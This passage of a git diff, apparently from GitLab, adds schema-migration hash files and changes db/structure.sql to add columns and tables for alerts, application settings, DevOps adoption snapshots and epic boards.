index 00000000000..b6fc30be8df
--- /dev/null
+++ b/db/schema_migrations/20201111115414
@@ -0,0 +1 @@
+0efb2dcfc65da007a67a15857d0a283dad301650f999a4227aa54ea00dca24bf \ No newline at end of file
diff --git a/db/schema_migrations/20201111145317 b/db/schema_migrations/20201111145317
new file mode 100644
index 00000000000..b6b33df7645
--- /dev/null
+++ b/db/schema_migrations/20201111145317
@@ -0,0 +1 @@
+51d26848722466503e43b0f41e2fa43ee6073a16b358311a0aff6d77fbb12b1d \ No newline at end of file
diff --git a/db/schema_migrations/20201112132808 b/db/schema_migrations/20201112132808
new file mode 100644
index 00000000000..d6cc9595c80
--- /dev/null
+++ b/db/schema_migrations/20201112132808
@@ -0,0 +1 @@
+2b30b1ba41a49ce4a81711e6fef1dbcdaf8b76f824aaf83702cd27833815e57b \ No newline at end of file
diff --git a/db/schema_migrations/20201112145311 b/db/schema_migrations/20201112145311
new file mode 100644
index 00000000000..b6b88862a38
--- /dev/null
+++ b/db/schema_migrations/20201112145311
@@ -0,0 +1 @@
+085bb21bdbe3d062b3000d63c111aab5ba75c7e049c32779cccac5c320583759 \ No newline at end of file
diff --git a/db/schema_migrations/20201112173532 b/db/schema_migrations/20201112173532
new file mode 100644
index 00000000000..a0c879e5b36
--- /dev/null
+++ b/db/schema_migrations/20201112173532
@@ -0,0 +1 @@
+d88a47333a4cc2b6c4aafa817c766822728d14b947a195c7c40b39e0c8b41610 \ No newline at end of file
diff --git a/db/schema_migrations/20201112173911 b/db/schema_migrations/20201112173911
new file mode 100644
index 00000000000..aa98ecb7f14
--- /dev/null
+++ b/db/schema_migrations/20201112173911
@@ -0,0 +1 @@
+dde78a32d53a695e82b44574458b3670dce4803ffc6f34a1216f3671cca470ed \ No newline at end of file
diff --git a/db/schema_migrations/20201112215028 b/db/schema_migrations/20201112215028
new file mode 100644
index 00000000000..07cedc7a146
--- /dev/null
+++ b/db/schema_migrations/20201112215028
@@ -0,0 +1 @@
+d8d774e788eeaaecbda3cb7c5530926e74843d844bfad27b6a6e65bf5f89ac8a \ No newline at end of file
diff --git a/db/schema_migrations/20201113105000 b/db/schema_migrations/20201113105000
new file mode 100644
index 00000000000..0fe67898517
--- /dev/null
+++ b/db/schema_migrations/20201113105000
@@ -0,0 +1 @@
+9f2c60df8e89f89d721f7f7917048eb914fa7c7726ec42dcb772ff7a90c54a9c \ No newline at end of file
diff --git a/db/schema_migrations/20201116090328 b/db/schema_migrations/20201116090328
new file mode 100644
index 00000000000..423eb54ff21
--- /dev/null
+++ b/db/schema_migrations/20201116090328
@@ -0,0 +1 @@
+39a109d2a0daaac6e5d40b13ee48f5388b85320c1ae6214408596417794307f3 \ No newline at end of file
diff --git a/db/schema_migrations/20201116211829 b/db/schema_migrations/20201116211829
new file mode 100644
index 00000000000..bc583573000
--- /dev/null
+++ b/db/schema_migrations/20201116211829
@@ -0,0 +1 @@
+ecec9923058e58a5279f75dd9c2ff61263f187a1d893bb84241c57a4061dadf8 \ No newline at end of file
diff --git a/db/schema_migrations/20201117054609 b/db/schema_migrations/20201117054609
new file mode 100644
index 00000000000..624c12754d3
--- /dev/null
+++ b/db/schema_migrations/20201117054609
@@ -0,0 +1 @@
+119afd73a58c247522446bc9693ece5c83a25c279e4dd7dfb942f7febd5b7a82 \ No newline at end of file
diff --git a/db/schema_migrations/20201117075742 b/db/schema_migrations/20201117075742
new file mode 100644
index 00000000000..b3efeee7e0b
--- /dev/null
+++ b/db/schema_migrations/20201117075742
@@ -0,0 +1 @@
+a39bad8b213833c84370cf64188a3ce444fd8aeeff239c29f5f2f633d94ac6bb \ No newline at end of file
diff --git a/db/schema_migrations/20201117153333 b/db/schema_migrations/20201117153333
new file mode 100644
index 00000000000..ee496f91777
--- /dev/null
+++ b/db/schema_migrations/20201117153333
@@ -0,0 +1 @@
+008f3a69d23abbd513336c5a48b2448e470a9413920beeb6a1684d0c6840d6a4 \ No newline at end of file
diff --git a/db/schema_migrations/20201117184334 b/db/schema_migrations/20201117184334
new file mode 100644
index 00000000000..347d6ca087c
--- /dev/null
+++ b/db/schema_migrations/20201117184334
@@ -0,0 +1 @@
+7988d01be5fac0f2a28cc97e309bfa16450d2e376888401fc2ad521aa0082020 \ No newline at end of file
diff --git a/db/schema_migrations/20201117203224 b/db/schema_migrations/20201117203224
new file mode 100644
index 00000000000..c161bc5c404
--- /dev/null
+++ b/db/schema_migrations/20201117203224
@@ -0,0 +1 @@
+4c66fd85d6c219d9bedb06c3a38610ecd2c2b1fcb668b132624d7bb76ae2a1ee \ No newline at end of file
diff --git a/db/schema_migrations/20201117213024 b/db/schema_migrations/20201117213024
new file mode 100644
index 00000000000..209e170caa0
--- /dev/null
+++ b/db/schema_migrations/20201117213024
@@ -0,0 +1 @@
+13b30e906a473ead632b808dca2dea2f9fff63920c4e55b97c43d2b30955c0c2 \ No newline at end of file
diff --git a/db/schema_migrations/20201118093135 b/db/schema_migrations/20201118093135
new file mode 100644
index 00000000000..7bf60967db0
--- /dev/null
+++ b/db/schema_migrations/20201118093135
@@ -0,0 +1 @@
+4be52737be2bc74e666e973fa42f17a16e652cb4fa2368c7f347c3f1f8941dbb \ No newline at end of file
diff --git a/db/schema_migrations/20201119031515 b/db/schema_migrations/20201119031515
new file mode 100644
index 00000000000..3abfe9de238
--- /dev/null
+++ b/db/schema_migrations/20201119031515
@@ -0,0 +1 @@
+6d2e6937c9e41975b1fd402bf2985796792a1e5f8e4f4f98bc76b65ff73c4e02 \ No newline at end of file
diff --git a/db/schema_migrations/20201119053603 b/db/schema_migrations/20201119053603
new file mode 100644
index 00000000000..7555dbfb2ca
--- /dev/null
+++ b/db/schema_migrations/20201119053603
@@ -0,0 +1 @@
+c7567489156bbc047cf9f7827f060ad507fd5d328179f2796566a7dc54806e3e \ No newline at end of file
diff --git a/db/schema_migrations/20201119092319 b/db/schema_migrations/20201119092319
new file mode 100644
index 00000000000..c48e0fc2563
--- /dev/null
+++ b/db/schema_migrations/20201119092319
@@ -0,0 +1 @@
+9ff8ddefff1df81f1eac2ccfc6f3019bb77a6129280e799c0abe54f51e09277a \ No newline at end of file
diff --git a/db/schema_migrations/20201119125730 b/db/schema_migrations/20201119125730
new file mode 100644
index 00000000000..39de483e890
--- /dev/null
+++ b/db/schema_migrations/20201119125730
@@ -0,0 +1 @@
+9fb3c338c999617b40e4c63f24ea037b5b1403354b93c2117e028ad8348d96aa \ No newline at end of file
diff --git a/db/schema_migrations/20201119133534 b/db/schema_migrations/20201119133534
new file mode 100644
index 00000000000..b3999923381
--- /dev/null
+++ b/db/schema_migrations/20201119133534
@@ -0,0 +1 @@
+6c8fc7904f50a792e10b5f1b0abe90ba21b1bdfd47430b3caa0df870c0a24079 \ No newline at end of file
diff --git a/db/schema_migrations/20201119133604 b/db/schema_migrations/20201119133604
new file mode 100644
index 00000000000..865ce7db9e7
--- /dev/null
+++ b/db/schema_migrations/20201119133604
@@ -0,0 +1 @@
+bfb8ac3b697675bd4fca53273c6c6feb2f7a5659cbdaf57b9b4adb3e189b74ad \ No newline at end of file
diff --git a/db/schema_migrations/20201119162801 b/db/schema_migrations/20201119162801
new file mode 100644
index 00000000000..b6aa67ad5f6
--- /dev/null
+++ b/db/schema_migrations/20201119162801
@@ -0,0 +1 @@
+c41f4649540c23d25f0ae26c3754476409b5e77f53b96db65f2c1fd4a6caf087 \ No newline at end of file
diff --git a/db/schema_migrations/20201119164605 b/db/schema_migrations/20201119164605
new file mode 100644
index 00000000000..61e4c88a241
--- /dev/null
+++ b/db/schema_migrations/20201119164605
@@ -0,0 +1 @@
+5abd2cfdf96b493f8d3ecc857f850acb95e3ea30307a72c2e6f20c5feff8f5e7 \ No newline at end of file
diff --git a/db/schema_migrations/20201119213406 b/db/schema_migrations/20201119213406
new file mode 100644
index 00000000000..0bd2418a6ee
--- /dev/null
+++ b/db/schema_migrations/20201119213406
@@ -0,0 +1 @@
+33970a1295b84040c82034041c99f13578352844c9c6cb092b5cc35913576a7e \ No newline at end of file
diff --git a/db/schema_migrations/20201120071303 b/db/schema_migrations/20201120071303
new file mode 100644
index 00000000000..23d712c9993
--- /dev/null
+++ b/db/schema_migrations/20201120071303
@@ -0,0 +1 @@
+9684403a075bd1ddf3ae9290ad9a39ed24f4624d99498f8b8ed567588c15e082 \ No newline at end of file
diff --git a/db/schema_migrations/20201120125953 b/db/schema_migrations/20201120125953
new file mode 100644
index 00000000000..23aca1557e0
--- /dev/null
+++ b/db/schema_migrations/20201120125953
@@ -0,0 +1 @@
+8b60a6bc892f9700df81de9909595544f9f820621a210906a249428ddec9eefa \ No newline at end of file
diff --git a/db/schema_migrations/20201120140210 b/db/schema_migrations/20201120140210
new file mode 100644
index 00000000000..5a281f95f5d
--- /dev/null
+++ b/db/schema_migrations/20201120140210
@@ -0,0 +1 @@
+6b88d79aa8d373fa1d9aa2698a9d20c09aff14ef16af4c123abd4e7c98e41311 \ No newline at end of file
diff --git a/db/schema_migrations/20201123081307 b/db/schema_migrations/20201123081307
new file mode 100644
index 00000000000..5169f80108d
--- /dev/null
+++ b/db/schema_migrations/20201123081307
@@ -0,0 +1 @@
+9b212f5fd6f58123f0d46249c82b2da49af9bcdd36bcc0de610c4be186b17345 \ No newline at end of file
diff --git a/db/schema_migrations/20201123161611 b/db/schema_migrations/20201123161611
new file mode 100644
index 00000000000..bcd28f2b4da
--- /dev/null
+++ b/db/schema_migrations/20201123161611
@@ -0,0 +1 @@
+9d69938cda6db1510ed17d087cc1a582af1e5482d65e4fb457e34011e09c3469 \ No newline at end of file
diff --git a/db/schema_migrations/20201124030537 b/db/schema_migrations/20201124030537
new file mode 100644
index 00000000000..6754e179ae3
--- /dev/null
+++ b/db/schema_migrations/20201124030537
@@ -0,0 +1 @@
+2929b74d9b9d6e205c0e1fb2aaaffe323394058f6e583c56035a2c83b4d4ff03 \ No newline at end of file
diff --git a/db/schema_migrations/20201124075951 b/db/schema_migrations/20201124075951
new file mode 100644
index 00000000000..b659c83ad21
--- /dev/null
+++ b/db/schema_migrations/20201124075951
@@ -0,0 +1 @@
+6779e92fa65ff206b19bb99a5a242e3ab5fd7a8d15be89dee925d1fbb5b00632 \ No newline at end of file
diff --git a/db/schema_migrations/20201124122817 b/db/schema_migrations/20201124122817
new file mode 100644
index 00000000000..d7fd2707dd3
--- /dev/null
+++ b/db/schema_migrations/20201124122817
@@ -0,0 +1 @@
+1113642dfc9069dcea01ac12b1653dfcf67b3aea449538e9747d3bc857ce88d8 \ No newline at end of file
diff --git a/db/schema_migrations/20201124185639 b/db/schema_migrations/20201124185639
new file mode 100644
index 00000000000..9ca03d7d837
--- /dev/null
+++ b/db/schema_migrations/20201124185639
@@ -0,0 +1 @@
+dd36b2815c62ef9710d88fa92c410398a228c50a7e51d44ce02e85c9f63d648e \ No newline at end of file
diff --git a/db/schema_migrations/20201125030847 b/db/schema_migrations/20201125030847
new file mode 100644
index 00000000000..2b88d374d52
--- /dev/null
+++ b/db/schema_migrations/20201125030847
@@ -0,0 +1 @@
+e19c6d019f1478e5998b2a264c5327dc82da7fde7edd19b15da70a30c5779844 \ No newline at end of file
diff --git a/db/schema_migrations/20201125233219 b/db/schema_migrations/20201125233219
new file mode 100644
index 00000000000..54728b704e9
--- /dev/null
+++ b/db/schema_migrations/20201125233219
@@ -0,0 +1 @@
+451d7f29392f965467f364c7b119d269551e2dc1485e8cb15ebd14753fdb6e6a \ No newline at end of file
diff --git a/db/schema_migrations/20201126165919 b/db/schema_migrations/20201126165919
new file mode 100644
index 00000000000..533273ec9a2
--- /dev/null
+++ b/db/schema_migrations/20201126165919
@@ -0,0 +1 @@
+a68c609800f5bdb0a77e39f706b410477493e7b7db3af11e4b2a67534df31079 \ No newline at end of file
diff --git a/db/schema_migrations/20201126172030 b/db/schema_migrations/20201126172030
new file mode 100644
index 00000000000..789a914af41
--- /dev/null
+++ b/db/schema_migrations/20201126172030
@@ -0,0 +1 @@
+65dcc2a53d48acc83dbfc5276e8cfc1eee5f20ffea8355d86df1f2d5b329061b \ No newline at end of file
diff --git a/db/schema_migrations/20201126190039 b/db/schema_migrations/20201126190039
new file mode 100644
index 00000000000..0e70a7e92bf
--- /dev/null
+++ b/db/schema_migrations/20201126190039
@@ -0,0 +1 @@
+65935afe9b4ad195aaf31cddb915dcd62b23674e278e93ce7ff9b4ae98e32331 \ No newline at end of file
diff --git a/db/schema_migrations/20201127141433 b/db/schema_migrations/20201127141433
new file mode 100644
index 00000000000..b3db67b566e
--- /dev/null
+++ b/db/schema_migrations/20201127141433
@@ -0,0 +1 @@
+70fae11d6a73ea8b2ad75c574716f48e9cc78a58ae23db48e74840646fd46672 \ No newline at end of file
diff --git a/db/schema_migrations/20201127170848 b/db/schema_migrations/20201127170848
new file mode 100644
index 00000000000..11c7ccbb236
--- /dev/null
+++ b/db/schema_migrations/20201127170848
@@ -0,0 +1 @@
+ef378c2512a2c3940016bcc82bc8885762ed1a982e38cba1c452a9063e0717e2 \ No newline at end of file
diff --git a/db/schema_migrations/20201130103926 b/db/schema_migrations/20201130103926
new file mode 100644
index 00000000000..518d58860af
--- /dev/null
+++ b/db/schema_migrations/20201130103926
@@ -0,0 +1 @@
+27cd7e7cd01175c157e6aa666b2263bf29210277d5acd997a0619cee67870345 \ No newline at end of file
diff --git a/db/schema_migrations/20201201033202 b/db/schema_migrations/20201201033202
new file mode 100644
index 00000000000..a061dc5f404
--- /dev/null
+++ b/db/schema_migrations/20201201033202
@@ -0,0 +1 @@
+418481f8281f8908740d3a8378b420f4d83853aab139b3401f7e410fc97d2488 \ No newline at end of file
diff --git a/db/schema_migrations/20201201034258 b/db/schema_migrations/20201201034258
new file mode 100644
index 00000000000..6cf3caf2a06
--- /dev/null
+++ b/db/schema_migrations/20201201034258
@@ -0,0 +1 @@
+12cc1beb73bcc31f6546066842913284aabba22ea4e93095271c0cfdacfd0858 \ No newline at end of file
diff --git a/db/schema_migrations/20201201161655 b/db/schema_migrations/20201201161655
new file mode 100644
index 00000000000..892d2bfc08d
--- /dev/null
+++ b/db/schema_migrations/20201201161655
@@ -0,0 +1 @@
+d9ad12dce02d6823536f3206e9c90a0da82c08089c3ce252e8ef28a59589e747 \ No newline at end of file
diff --git a/db/schema_migrations/20201201163227 b/db/schema_migrations/20201201163227
new file mode 100644
index 00000000000..0366850ee2f
--- /dev/null
+++ b/db/schema_migrations/20201201163227
@@ -0,0 +1 @@
+cc978ac56ed177575706436c52125b51915dff97a20ed47ae0c7b16caa837313 \ No newline at end of file
diff --git a/db/schema_migrations/20201201175656 b/db/schema_migrations/20201201175656
new file mode 100644
index 00000000000..52c98e28eee
--- /dev/null
+++ b/db/schema_migrations/20201201175656
@@ -0,0 +1 @@
+54ed18361a28d0b750cbbdb3bfb53b7e4bbe3d1d7264de51522796d3bd15f7a5 \ No newline at end of file
diff --git a/db/schema_migrations/20201201190002 b/db/schema_migrations/20201201190002
new file mode 100644
index 00000000000..aac9ac34c64
--- /dev/null
+++ b/db/schema_migrations/20201201190002
@@ -0,0 +1 @@
+f4ec800e68cbe092775b428d3ff85a4a84be0d55d70e59d23de390847ea3c2b7 \ No newline at end of file
diff --git a/db/schema_migrations/20201201192112 b/db/schema_migrations/20201201192112
new file mode 100644
index 00000000000..26e17430dbe
--- /dev/null
+++ b/db/schema_migrations/20201201192112
@@ -0,0 +1 @@
+bd10ddc5e78ff2d878f3ce6a45a3e808b89e0885dcc710b87f44ede15ace372b \ No newline at end of file
diff --git a/db/schema_migrations/20201202003042 b/db/schema_migrations/20201202003042
new file mode 100644
index 00000000000..13bbfe9f8af
--- /dev/null
+++ b/db/schema_migrations/20201202003042
@@ -0,0 +1 @@
+779effb1db70aa8b9a24942ec3e0681064c01b69ee4731f82477c54361a670b0 \ No newline at end of file
diff --git a/db/schema_migrations/20201202025644 b/db/schema_migrations/20201202025644
new file mode 100644
index 00000000000..189704a6d1e
--- /dev/null
+++ b/db/schema_migrations/20201202025644
@@ -0,0 +1 @@
+3b0e685327e2199e0a6721e00d1fa3c9fee3a173ce1cf5ddd99df3349a28fea9 \ No newline at end of file
diff --git a/db/schema_migrations/20201202025937 b/db/schema_migrations/20201202025937
new file mode 100644
index 00000000000..eb2088259a5
--- /dev/null
+++ b/db/schema_migrations/20201202025937
@@ -0,0 +1 @@
+d0706f4a60ae6f26be206aee80fdeb4a7e5c4c0b99e518140ae3cb8c47ed7a82 \ No newline at end of file
diff --git a/db/schema_migrations/20201202133606 b/db/schema_migrations/20201202133606
new file mode 100644
index 00000000000..693c4fc074e
--- /dev/null
+++ b/db/schema_migrations/20201202133606
@@ -0,0 +1 @@
+83c7e30abb0c8f4e11faa648a4a509029aafa3230e64fe7b14d63f0a39df05ad \ No newline at end of file
diff --git a/db/schema_migrations/20201202142751 b/db/schema_migrations/20201202142751
new file mode 100644
index 00000000000..cb0013a5d70
--- /dev/null
+++ b/db/schema_migrations/20201202142751
@@ -0,0 +1 @@
+cb11dc9996b1706feaa8a53f96cbaa6209a4d07b3be9e88ebc3d1e1ada561287 \ No newline at end of file
diff --git a/db/schema_migrations/20201202150001 b/db/schema_migrations/20201202150001
new file mode 100644
index 00000000000..a22d35f424e
--- /dev/null
+++ b/db/schema_migrations/20201202150001
@@ -0,0 +1 @@
+af9d8c7cda142e2a96a289ebd7afef73367bd544a60794c9e0414c7b82bef8a2 \ No newline at end of file
diff --git a/db/schema_migrations/20201202155913 b/db/schema_migrations/20201202155913
new file mode 100644
index 00000000000..7cb0055455d
--- /dev/null
+++ b/db/schema_migrations/20201202155913
@@ -0,0 +1 @@
+926f54b5756fa9495e71f2340823418b5679195d5720212dddda0d0c6396629e \ No newline at end of file
diff --git a/db/schema_migrations/20201202160105 b/db/schema_migrations/20201202160105
new file mode 100644
index 00000000000..ff2e6f4ddbc
--- /dev/null
+++ b/db/schema_migrations/20201202160105
@@ -0,0 +1 @@
+a011331d225cef852d2402add6fb2b77e7325b87d58343a9367e0dd31a32ed7f \ No newline at end of file
diff --git a/db/schema_migrations/20201202161021 b/db/schema_migrations/20201202161021
new file mode 100644
index 00000000000..eae05342e40
--- /dev/null
+++ b/db/schema_migrations/20201202161021
@@ -0,0 +1 @@
+696c1d9f8cc90337549530e129e6abf4429d218f151cefaacacacb6e3f33d1c7 \ No newline at end of file
diff --git a/db/schema_migrations/20201203123201 b/db/schema_migrations/20201203123201
new file mode 100644
index 00000000000..e3799665ffc
--- /dev/null
+++ b/db/schema_migrations/20201203123201
@@ -0,0 +1 @@
+85a642d60e92a880e0a0699f8dcca42aebe2b5363bfcc3010e647734c7cb7dec \ No newline at end of file
diff --git a/db/schema_migrations/20201203123524 b/db/schema_migrations/20201203123524
new file mode 100644
index 00000000000..27f47a237c0
--- /dev/null
+++ b/db/schema_migrations/20201203123524
@@ -0,0 +1 @@
+4bb54293c339e20082a739f7724b02141d8fb3b0b140e21ac2acab6cbd2d2f01 \ No newline at end of file
diff --git a/db/schema_migrations/20201203144655 b/db/schema_migrations/20201203144655
new file mode 100644
index 00000000000..50c5e928c82
--- /dev/null
+++ b/db/schema_migrations/20201203144655
@@ -0,0 +1 @@
+700e5d0d5615080f7d747cc71dc437abd24a76b5783f8db7d613036142841e09 \ No newline at end of file
diff --git a/db/schema_migrations/20201203171631 b/db/schema_migrations/20201203171631
new file mode 100644
index 00000000000..e93633344b9
--- /dev/null
+++ b/db/schema_migrations/20201203171631
@@ -0,0 +1 @@
+3b6d3fb9c279f5e8c76921e654b188a5a5ba0fddd7ff753a03706b41f43240ed \ No newline at end of file
diff --git a/db/schema_migrations/20201204085522 b/db/schema_migrations/20201204085522
new file mode 100644
index 00000000000..21009a5d34a
--- /dev/null
+++ b/db/schema_migrations/20201204085522
@@ -0,0 +1 @@
+a1d8228731066fb6dfe436b4d8d034353421d1f45f3896e963f3c7f15fb09fbc \ No newline at end of file
diff --git a/db/schema_migrations/20201204090855 b/db/schema_migrations/20201204090855
new file mode 100644
index 00000000000..7e6bb71d977
--- /dev/null
+++ b/db/schema_migrations/20201204090855
@@ -0,0 +1 @@
+01712e32d95578fe701738529abfa0e051ef68ed646f7a9c7f775f8a8d108578 \ No newline at end of file
diff --git a/db/schema_migrations/20201204141038 b/db/schema_migrations/20201204141038
new file mode 100644
index 00000000000..c422a095eda
--- /dev/null
+++ b/db/schema_migrations/20201204141038
@@ -0,0 +1 @@
+9dc8d6b557198a60def4690ea06ec3dc9a29deca9082b7b03666aaed483a42f1 \ No newline at end of file
diff --git a/db/schema_migrations/20201204205814 b/db/schema_migrations/20201204205814
new file mode 100644
index 00000000000..2308ba1245c
--- /dev/null
+++ b/db/schema_migrations/20201204205814
@@ -0,0 +1 @@
+8178b8a9acf7d2d8990bb6f7d984eb9e3b77d45cb2a8b54b56500ef6f93772ad \ No newline at end of file
diff --git a/db/schema_migrations/20201204215353 b/db/schema_migrations/20201204215353
new file mode 100644
index 00000000000..08305f419eb
--- /dev/null
+++ b/db/schema_migrations/20201204215353
@@ -0,0 +1 @@
+a3dd8cfe4a5d83ca370cac90acf127facf40c0fd63ae8d1d3f99418295bae148 \ No newline at end of file
diff --git a/db/schema_migrations/20201207151651 b/db/schema_migrations/20201207151651
new file mode 100644
index 00000000000..92d8fbec6bd
--- /dev/null
+++ b/db/schema_migrations/20201207151651
@@ -0,0 +1 @@
+93def9138efddc9cd0ace5524dc5cf6cdc0221977083324c5c0ad3cf3fb75e55 \ No newline at end of file
diff --git a/db/schema_migrations/20201208081429 b/db/schema_migrations/20201208081429
new file mode 100644
index 00000000000..c7156129ecc
--- /dev/null
+++ b/db/schema_migrations/20201208081429
@@ -0,0 +1 @@
+5c429e8090fd779ba29a8bd78d69e78d1d5d143a6fd3097a715e178fb150d877 \ No newline at end of file
diff --git a/db/schema_migrations/20201208143911 b/db/schema_migrations/20201208143911
new file mode 100644
index 00000000000..b953bd502f1
--- /dev/null
+++ b/db/schema_migrations/20201208143911
@@ -0,0 +1 @@
+1e55cafd8b7c5b13514a8709c05d75c8ef0bdd99ea1a5bd3d36f8d20fc0ead2b \ No newline at end of file
diff --git a/db/schema_migrations/20201208181411 b/db/schema_migrations/20201208181411
new file mode 100644
index 00000000000..951925cef9d
--- /dev/null
+++ b/db/schema_migrations/20201208181411
@@ -0,0 +1 @@
+7bbd0cfb98c3e051942bf062444d2586588fe029d9a9548f0e50e0fbad10a490 \ No newline at end of file
diff --git a/db/schema_migrations/20201209154746 b/db/schema_migrations/20201209154746
new file mode 100644
index 00000000000..3f88f88dc50
--- /dev/null
+++ b/db/schema_migrations/20201209154746
@@ -0,0 +1 @@
+98e132fd1daadca14b4313783691c523290efdc81372ec8416bcea1a597376bf \ No newline at end of file
diff --git a/db/schema_migrations/20201210101250 b/db/schema_migrations/20201210101250
new file mode 100644
index 00000000000..4657c9f264e
--- /dev/null
+++ b/db/schema_migrations/20201210101250
@@ -0,0 +1 @@
+734ef1c319549df72bbbfe3acf93ca05f7a6c5547a1efdcaba780195181f5f9a \ No newline at end of file
diff --git a/db/schema_migrations/20201210175044 b/db/schema_migrations/20201210175044
new file mode 100644
index 00000000000..63da0b55aed
--- /dev/null
+++ b/db/schema_migrations/20201210175044
@@ -0,0 +1 @@
+32f0889266a05c12f1bba6d3d8646c6cd5c27ffcc01e4cc0cb1721c495e17237 \ No newline at end of file
diff --git a/db/schema_migrations/20201211042306 b/db/schema_migrations/20201211042306
new file mode 100644
index 00000000000..07d4bc66b63
--- /dev/null
+++ b/db/schema_migrations/20201211042306
@@ -0,0 +1 @@
+a4d82ca9610a1426bb026c43a00791bcdae38d49ed3ca59285d5a752124a7f20 \ No newline at end of file
diff --git a/db/schema_migrations/20201211145950 b/db/schema_migrations/20201211145950
new file mode 100644
index 00000000000..f3c3687bc4f
--- /dev/null
+++ b/db/schema_migrations/20201211145950
@@ -0,0 +1 @@
+ecf6b392f35bb0ef905144a4605bcb927ce767240e47ec3b0653a94139b987bd \ No newline at end of file
diff --git a/db/schema_migrations/20201214084105 b/db/schema_migrations/20201214084105
new file mode 100644
index 00000000000..1b5eb10e48e
--- /dev/null
+++ b/db/schema_migrations/20201214084105
@@ -0,0 +1 @@
+e991bf621a2eb047903f796256ee65b781e5dd34aff12449f2347480bf7791a7 \ No newline at end of file
diff --git a/db/schema_migrations/20201214113729 b/db/schema_migrations/20201214113729
new file mode 100644
index 00000000000..56bc2113a34
--- /dev/null
+++ b/db/schema_migrations/20201214113729
@@ -0,0 +1 @@
+9c2f6c75126172d4876db33cfd814f974a381df97a23aec21f2550ec288946c2 \ No newline at end of file
diff --git a/db/schema_migrations/20201215084652 b/db/schema_migrations/20201215084652
new file mode 100644
index 00000000000..1b0cab62c8b
--- /dev/null
+++ b/db/schema_migrations/20201215084652
@@ -0,0 +1 @@
+8aa288d8f4a02030528e096c3aa4e109c57f4ca2515442ca0bfb3463cf9ff609 \ No newline at end of file
diff --git a/db/schema_migrations/20201215132151 b/db/schema_migrations/20201215132151
new file mode 100644
index 00000000000..e051fb91e12
--- /dev/null
+++ b/db/schema_migrations/20201215132151
@@ -0,0 +1 @@
+916f29e6ab89551fd785c3a8584c24b72d9002ada30d159e9ff826cb247199b5 \ No newline at end of file
diff --git a/db/structure.sql b/db/structure.sql
index f29f9178a26..105b7701409 100644
--- a/db/structure.sql
+++ b/db/structure.sql
@@ -8811,6 +8811,7 @@ CREATE TABLE alert_management_alerts (
payload jsonb DEFAULT '{}'::jsonb NOT NULL,
prometheus_alert_id integer,
environment_id integer,
+ domain smallint DEFAULT 0,
CONSTRAINT check_2df3e2fdc1 CHECK ((char_length(monitoring_tool) <= 100)),
CONSTRAINT check_5e9e57cadb CHECK ((char_length(description) <= 1000)),
CONSTRAINT check_bac14dddde CHECK ((char_length(service) <= 100)),
@@ -8836,6 +8837,8 @@ CREATE TABLE alert_management_http_integrations (
encrypted_token_iv text NOT NULL,
endpoint_identifier text NOT NULL,
name text NOT NULL,
+ payload_example jsonb DEFAULT '{}'::jsonb NOT NULL,
+ payload_attribute_mapping jsonb DEFAULT '{}'::jsonb NOT NULL,
CONSTRAINT check_286943b636 CHECK ((char_length(encrypted_token_iv) <= 255)),
CONSTRAINT check_392143ccf4 CHECK ((char_length(name) <= 255)),
CONSTRAINT check_e270820180 CHECK ((char_length(endpoint_identifier) <= 255)),
@@ -8990,6 +8993,28 @@ CREATE SEQUENCE analytics_devops_adoption_segments_id_seq
ALTER SEQUENCE analytics_devops_adoption_segments_id_seq OWNED BY analytics_devops_adoption_segments.id;
+CREATE TABLE analytics_devops_adoption_snapshots (
+ id bigint NOT NULL,
+ segment_id bigint NOT NULL,
+ recorded_at timestamp with time zone NOT NULL,
+ issue_opened boolean NOT NULL,
+ merge_request_opened boolean NOT NULL,
+ merge_request_approved boolean NOT NULL,
+ runner_configured boolean NOT NULL,
+ pipeline_succeeded boolean NOT NULL,
+ deploy_succeeded boolean NOT NULL,
+ security_scan_succeeded boolean NOT NULL
+);
+
+CREATE SEQUENCE analytics_devops_adoption_snapshots_id_seq
+ START WITH 1
+ INCREMENT BY 1
+ NO MINVALUE
+ NO MAXVALUE
+ CACHE 1;
+
+ALTER SEQUENCE analytics_devops_adoption_snapshots_id_seq OWNED BY analytics_devops_adoption_snapshots.id;
+
CREATE TABLE analytics_instance_statistics_measurements (
id bigint NOT NULL,
count bigint NOT NULL,
@@ -9320,6 +9345,8 @@ CREATE TABLE application_settings (
elasticsearch_indexed_file_size_limit_kb integer DEFAULT 1024 NOT NULL,
enforce_namespace_storage_limit boolean DEFAULT false NOT NULL,
container_registry_delete_tags_service_timeout integer DEFAULT 250 NOT NULL,
+ kroki_url character varying,
+ kroki_enabled boolean,
elasticsearch_client_request_timeout integer DEFAULT 0 NOT NULL,
gitpod_enabled boolean DEFAULT false NOT NULL,
gitpod_url text DEFAULT 'https://gitpod.io/'::text,
@@ -9345,10 +9372,15 @@ CREATE TABLE application_settings (
encrypted_cloud_license_auth_token text,
encrypted_cloud_license_auth_token_iv text,
secret_detection_revocation_token_types_url text,
+ cloud_license_enabled boolean DEFAULT false NOT NULL,
+ disable_feed_token boolean DEFAULT false NOT NULL,
+ personal_access_token_prefix text,
CONSTRAINT app_settings_registry_exp_policies_worker_capacity_positive CHECK ((container_registry_expiration_policies_worker_capacity >= 0)),
+ CONSTRAINT check_17d9558205 CHECK ((char_length((kroki_url)::text) <= 1024)),
CONSTRAINT check_2dba05b802 CHECK ((char_length(gitpod_url) <= 255)),
CONSTRAINT check_51700b31b5 CHECK ((char_length(default_branch_name) <= 255)),
CONSTRAINT check_57123c9593 CHECK ((char_length(help_page_documentation_base_url) <= 255)),
+ CONSTRAINT check_718b4458ae CHECK ((char_length(personal_access_token_prefix) <= 20)),
CONSTRAINT check_85a39b68ff CHECK ((char_length(encrypted_ci_jwt_signing_key_iv) <= 255)),
CONSTRAINT check_9a719834eb CHECK ((char_length(secret_detection_token_revocation_url) <= 255)),
CONSTRAINT check_9c6c447a13 CHECK ((char_length(maintenance_mode_message) <= 255)),
@@ -9820,9 +9852,63 @@ CREATE TABLE boards (
group_id integer,
weight integer,
hide_backlog_list boolean DEFAULT false NOT NULL,
- hide_closed_list boolean DEFAULT false NOT NULL
+ hide_closed_list boolean DEFAULT false NOT NULL,
+ iteration_id bigint
);
+CREATE TABLE boards_epic_board_labels (
+ id bigint NOT NULL,
+ epic_board_id bigint NOT NULL,
+ label_id bigint NOT NULL
+);
+
+CREATE SEQUENCE boards_epic_board_labels_id_seq
+ START WITH 1
+ INCREMENT BY 1
+ NO MINVALUE
+ NO MAXVALUE
+ CACHE 1;
+
+ALTER SEQUENCE boards_epic_board_labels_id_seq OWNED BY boards_epic_board_labels.id;
+
+CREATE TABLE boards_epic_board_positions (
+ id bigint NOT NULL,
+ epic_board_id bigint NOT NULL,
